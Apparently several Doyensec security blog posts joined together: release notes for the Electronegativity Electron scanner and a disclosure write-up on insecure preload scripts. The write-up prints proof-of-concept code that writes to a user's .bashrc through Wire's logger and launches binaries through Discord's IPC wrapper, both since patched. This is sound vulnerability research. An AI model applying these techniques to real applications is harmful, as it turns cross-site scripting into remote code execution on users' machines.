After the first public release of Electronegativity, we had a great response from the community and the tool quickly became the baseline for every Electron app’s security review for many professionals and organizations. This pushed us forward, improving Electronegativity and expanding our research in the field. Today we are proud to release version 1.3.0 with many new improvements and security checks for your Electron applications.
We’re also excited to announce that the tool has been accepted for Black Hat USA Arsenal 2019, where it will be showcased at the Mandalay Bay in Las Vegas. We’ll be at Arsenal Station 1 on August 7, from 4:00 pm to 5:20 pm. Drop by to see live demonstrations of Electronegativity hunting real Electron applications for vulnerabilities (or just to say hi and collect Doyensec socks)!
If you’re simply interested in trying out what’s new in Electronegativity, go ahead and update or install it using NPM:
$ npm install @doyensec/electronegativity -g
# or
$ npm update @doyensec/electronegativity -g
To review your application, use the following command:
$ electronegativity -i /path/to/electron/app
Electronegativity 1.1.1 initially shipped with 27 unique checks. Now it counts over 40 checks, featuring a new advanced check system to help improve the tool’s detection capabilities in sorting out false positive and false negative findings. Here is a brief list of what’s new in this 1.3.0 release:
--severity
) and by confidence (--confidence
), useful for tailored Electronegativity integration in your application security pipelines or build systems.nodeIntegration
and sandbox
flags value or the presence of the affinity
flag used acrossed different windows).-l
flag along with a list of enabled checks (e.g. -l "AuxClickJsCheck,AuxClickHtmlCheck"
). Another command line flag has been introduced to show relative paths for files (-r
).nodeIntegrationInSubFrames
experimental option for enabling NodeJS support in sub-frames (e.g. an iframe inside a webview
object).This new release also comes with new and updated checks. As always, a knowledge-base containing information around risk and auditing strategy has been created for each class of vulnerabilities.
When specified, renderers with the same affinity will run in the same renderer process. Due to reusing the renderer process, certain webPreferences
options will also be shared between the web pages even when you specified different values for them. This can lead to unexpected security configuration overrides:
In the above demo, the affinity
set between the two BrowserWindow
objects will cause the unwanted share of the nodeIntegration
property value. Electronegativity will now issue a finding reporting the usage of this flag if present.
Read more on the dedicated AFFINITY_GLOBAL_CHECK wiki page.
When the allowpopups
attribute is present, the guest page will be allowed to open new windows. Popups are disabled by default.
Read more on the ALLOWPOPUPS_HTML_CHECK wiki page.
This check detects if there are security patches available for the Electron version used by the target application. From this release we switched from manually updating a safe releases file to creating a routine which automatically fetches the latest releases from Electron’s official repository and determines if there are security patches available at each run.
Read more on the AVAILABLE_SECURITY_FIXES_GLOBAL_CHECK and ELECTRON_VERSION_JSON_CHECK wiki page.
This check will compare the custom command line arguments set in the package.json scripts
and configuration
objects against a blacklist of dangerous arguments. The use of additional command line arguments can increase the application attack surface, disable security features or influence the overall security posture.
Read more on the CUSTOM_ARGUMENTS_JSON_CHECK wiki page.
Electronegativity now checks if a Content Security Policy (CSP) is set as an additional layer of protection against cross-site-scripting attacks and data injection attacks. If a CSP is detected, it will look for weak directives by using a new library based on the csp-evaluator.withgoogle.com online tool.
Read more on the CSP_GLOBAL_CHECK wiki page.
Looks for occurrences of insertCSS
, executeJavaScript
, eval
, Function
, setTimeout
, setInterval
and setImmediate
with user-supplied input.
Read more on the DANGEROUS_FUNCTIONS_JS_CHECK wiki page.
Detects if the on()
handler for will-navigate
and new-window
events is used. This setting can be used to limit the exploitability of certain issues. Not enforcing navigation limits leaves the Electron application under full control to remote origins in case of accidental navigation.
Read more on the LIMIT_NAVIGATION_GLOBAL_CHECK and LIMIT_NAVIGATION_JS_CHECK wiki pages.
The tool will check if Electron’s warnings and recommendations printed to the developer console have been force-disabled by the developer. Disabling this warning may hide the presence of misconfigurations or insecure patterns to the developers.
Read more on the SECURITY_WARNINGS_DISABLED_JS_CHECK and SECURITY_WARNINGS_DISABLED_JSON_CHECK wiki pages.
Not enforcing custom checks for permission requests (e.g. media) leaves the Electron application under full control of the remote origin. For instance, a Cross-Site Scripting vulnerability can be used to access the browser media system and silently record audio/video. Because of this, Electronegativity will also check if a setPermissionRequestHandler
has been set.
Read more on the PERMISSION_REQUEST_HANDLER_GLOBAL_CHECK wiki page.
…and more to come! If you are a developer, we encourage you to use Electronegativity to understand how these Electron’s security pitfalls affect your application and how to avoid them. We really believe that Electron deserves a strong security community behind and that creating the right and robust tools to help this community is the first step towards improving the whole Electron’s ecosystem security stance.
As a final remark, we’d like to thank all past and present contributors to this tool: @ikkisoft, @p4p3r, @0xibram, @yarlob, @lorenzostella, and ultimately @Doyensec for sponsoring this release.
See you in Vegas!
@lorenzostella
We’re back from BlackHat Asia 2019 where we introduced a relatively unexplored class of vulnerabilities affecting Electron-based applications.
Despite popular belief, secure-by-default settings are slowly becoming the norm and the dev community is gradually learning common pitfalls. Isolation is now widely deployed across all top Electron applications and so turning XSS into RCE isn’t child’s play anymore.
BrowserWindow preload introduces a new and interesting attack vector. Even without a framework bug (e.g. nodeIntegration
bypass), this neglected attack surface can be abused to bypass isolation and access Node.js primitives in a reliable manner.
You can download the slides of our talk from the official BlackHat Briefings archive: http://i.blackhat.com/asia-19/Thu-March-28/bh-asia-Carettoni-Preloading-Insecurity-In-Your-Electron.pdf
Preload is a mechanism to execute code before renderer scripts are loaded. This is generally employed by applications to export functions and objects to the page’s window
object as shown in the official documentation:
let win
app.on('ready', () => {
win = new BrowserWindow({
webPreferences: {
sandbox: true,
preload: 'preload.js'
}
})
win.loadURL('http://google.com')
})
preload.js can contain custom logic to augment the renderer with easy-to-use functions or application-specific objects:
const fs = require('fs')
const { ipcRenderer } = require('electron')
// read a configuration file using the `fs` module
const buf = fs.readFileSync('allowed-popup-urls.json')
const allowedUrls = JSON.parse(buf.toString('utf8'))
const defaultWindowOpen = window.open
function customWindowOpen (url, ...args) {
if (allowedUrls.indexOf(url) === -1) {
ipcRenderer.sendSync('blocked-popup-notification', location.origin, url)
return null
}
return defaultWindowOpen(url, ...args)
}
window.open = customWindowOpen
[...]
Through performing numerous assessments on behalf of our clients, we noticed a general lack of awareness around the risks introduced by preload scripts. Even in popular applications using all recommended security best practices, we were able to turn boring XSS into RCE in a matter of hours.
This prompted us to further research the topic and categorize four types of insecure preloads:
(1) Preload scripts can reintroduce Node global symbols back to the global scope
While it is evident that reintroducing some Node global symbols (e.g. process
) to the renderer is dangerous, the risk is not immediately obvious for classes like Buffer
(which can be leveraged for a nodeIntegration
bypass)
(2) Preload scripts can introduce functionalities that can be abused by untrusted code
Preload scripts have access to Node.js, and the functions exported by applications to the global window
often include dangerous primitives
(3) Preload scripts can facilitate sandbox
bypasses
Even with sandbox
enabled, preload scripts still have access to Node.JS native classes and a few Electron modules. Once again, preload code can leak privileged APIs to untrusted code that could facilitate sandbox
bypasses
(4) Without contextIsolation
, the integrity of preload scripts is not guaranteed
When isolated words are not in use, prototype pollution attacks can override preload script code. Malicious JavaScript running in the renderer can alter preload functions in order to return different data, bypass checks, etc.
In this blog post, we will analyze a couple of vulnerabilities belonging to group (2) which we discovered in two popular applications: Wire App and Discord.
For more vulnerabilities and examples, please refer to our presentation.
Wire App is a self-proclaimed “most secure collaboration platform”. It’s a secure messaging app using end-to-end encryption for file sharing, voice, and video calls. The application implements isolation by using a BrowserWindow
with nodeIntegration
disabled, in which a webview HTML tag is used.
Despite enforcing isolation, the web-view-preload.js
preload file contains the following code:
const webViewLogger = new winston.Logger();
webViewLogger.add(winston.transports.File, {
filename: logFilePath,
handleExceptions: true,
});
webViewLogger.info(config.NAME, 'Version', config.VERSION);
// webapp uses global winston reference to define log level
global.winston = webViewLogger;
Code running in the isolated renderer (e.g. XSS) can override the logger’s transport setting in order to obtain a file write primitive.
This issue can be easily verified by switching to the messages view:
window.document.getElementsByTagName("webview")[0].openDevTools();
Before executing the following code:
function formatme(args) {
var logMessage = args.message;
return logMessage;
}
winston.transports.file = (new winston.transports.file.__proto__.constructor({
dirname: '/home/ikki/',
level: 'error',
filename: '.bashrc',
json: false,
formatter: formatme
}))
winston.error('xcalc &');
This issue affected all supported platforms (Windows, Mac, Linux). As the sandbox entitlement is enabled on macOS, an attacker would need to chain this issue with another bug to write outside the application folders. Please note that since it is possible to override some application files, RCE may still be possible without a macOS sandbox bypass.
A security patch was released on March 14, 2019, just few days after our disclosure.
Discord is a popular voice and text chat used by over 250 million gamers. The application implements isolation by simply using a BrowserWindow
with nodeIntegration
disabled. Despite that, the preload script (app/mainScreenPreload.js) in use by the same BrowserWindow
contains multiple exports including the following:
var DiscordNative = {
isRenderer: process.type === 'renderer',
//..
ipc: require('./discord_native/ipc'),
};
//..
process.once('loaded', function () {
global.DiscordNative = DiscordNative;
//..
}
where app/discord_native/ipc.js contains the following code:
var electron = require('electron');
var ipcRenderer = electron.ipcRenderer;
function send(event) {
for (var _len = arguments.length, args = Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
args[_key - 1] = arguments[_key];
}
ipcRenderer.send.apply(ipcRenderer, [event].concat(args));
}
function on(event, callback) {
ipcRenderer.on(event, callback);
}
module.exports = {
send: send,
on: on
};
Without going into details, this script is basically a wrapper for the official Electron’s asynchronous IPC mechanism in order to exchange messages from the render process (web page) to the main process.
In Electron, ipcMain
and ipcRenderer
modules are used to implement IPC between the main process and the renderers but they’re also leveraged for internal native framework invocations. For instance, the window.close()
function is implemented using the following event listener:
// Implements window.close()
ipcMainInternal.on('ELECTRON_BROWSER_WINDOW_CLOSE', function (event) {
const window = event.sender.getOwnerBrowserWindow()
if (window) {
window.close()
}
event.returnValue = null
})
As there’s no separation between application-level IPC messages and the ELECTRON_
internal channel, the ability to set arbitrary channel names allows untrusted code in the renderer to subvert the framework’s security mechanism.
For example, the following synchronous IPC calls can be used to execute an arbitrary binary:
(function () {
var ipcRenderer = require('electron').ipcRenderer
var electron = ipcRenderer.sendSync("ELECTRON_BROWSER_REQUIRE","electron");
var shell = ipcRenderer.sendSync("ELECTRON_BROWSER_MEMBER_GET", electron.id, "shell");
return ipcRenderer.sendSync("ELECTRON_BROWSER_MEMBER_CALL", shell.id, "openExternal", [{
type: 'value',
value: "file:///Applications/Calculator.app"
}]);
})();
In the case of the Discord’s preload, an attacker can issue asynchronous IPC messages with arbitrary channels. While it is not possible to obtain a reference of the objects from the function exposed in the untrusted window, an attacker can still brute-force the reference of the child_process
using the following code:
DiscordNative.ipc.send("ELECTRON_BROWSER_REQUIRE","child_process");
for(var i=0;i<50;i++){
DiscordNative.ipc.send("ELECTRON_BROWSER_MEMBER_CALL", i, "exec", [{
type: 'value',
value: "calc.exe"
}]);
}
This issue affected all supported platforms (Windows, Mac, Linux). A security patch was released at the beginning of 2019. Additionally, Discord also removed backwards compatibility code with old clients.
We’re excited to announce the public release of Electronegativity, an opensource tool capable of identifying misconfigurations and security anti-patterns in Electron-based applications.
Electronegativity is the first-of-its-kind tool that can help software developers and security auditors to detect and mitigate potential weaknesses in Electron applications.
If you’re simply interested in trying out Electronegativity, go ahead and install it using NPM:
$ npm install @doyensec/electronegativity -g
To review your application, use the following command:
$ electronegativity -i /path/to/electron/app
Results are displayed in a compact table, with references to application files and our knowledge-base.
The remaining blog post will provide more details on the public release and introduce its current features.
Back in July 2017 at the BlackHat USA Briefings, we presented the first comprehensive study on Electron security where we primarily focused on framework-level vulnerabilities and misconfigurations. As part of our research journey, we also created a checklist of security anti-patterns and must-have features to illustrate misconfigurations and vulnerabilities in Electron-based applications.
With that, me and Claudio Merloni started developing the first prototype for Electronegativity. Immediately after the BlackHat presentation, we received a lot of great feedback and new ideas on how to evolve the tool. Back home, we started working on those improvements until we realized that we had to rethink the overall design. The code repository was made private again and minor refinements were done in between customer projects only.
In the summer of 2018, we hired Doyensec’s first intern - Ibram Marzouk who started working on the tool again. Later, Jaroslav Lobacevski joined the project team and pushed Electronegativity to the finish line. Claudio, Ibram and Jaroslav, thanks for your contributions!
While certainly overdue, we’re happy that we eventually managed to release the tool in better shape. We believe that Electron is here to stay and hopefully Electronegativity will become a useful companion for all Electron developers out there.
Electronegativity leverages AST / DOM parsing to look for security-relevant configurations. Checks are standalone files, which makes the tool modular and extensible.
Building a new check is relatively easy too. We support three “families” of checks, so that the tool can analyze all resources within an Electron application:
JSON.parse()
)When you scan an application, the tool will unpack all resources (if applicable) and perform an audit using all registered checks. Results are displayed in the terminal, CSV file or SARIF format.
Electronegativity currently implements the following checks. A knowledge-base containing information around risk and auditing strategy has been created for each class of vulnerabilities:
Leveraging these 27 checks, Electronegativity is already capable of identifying many vulnerabilities in real-life applications. Going forward, we will keep improving the detection and updating the tool to keep pace with the fast-changing Electron framework. Start using Electronegativity today!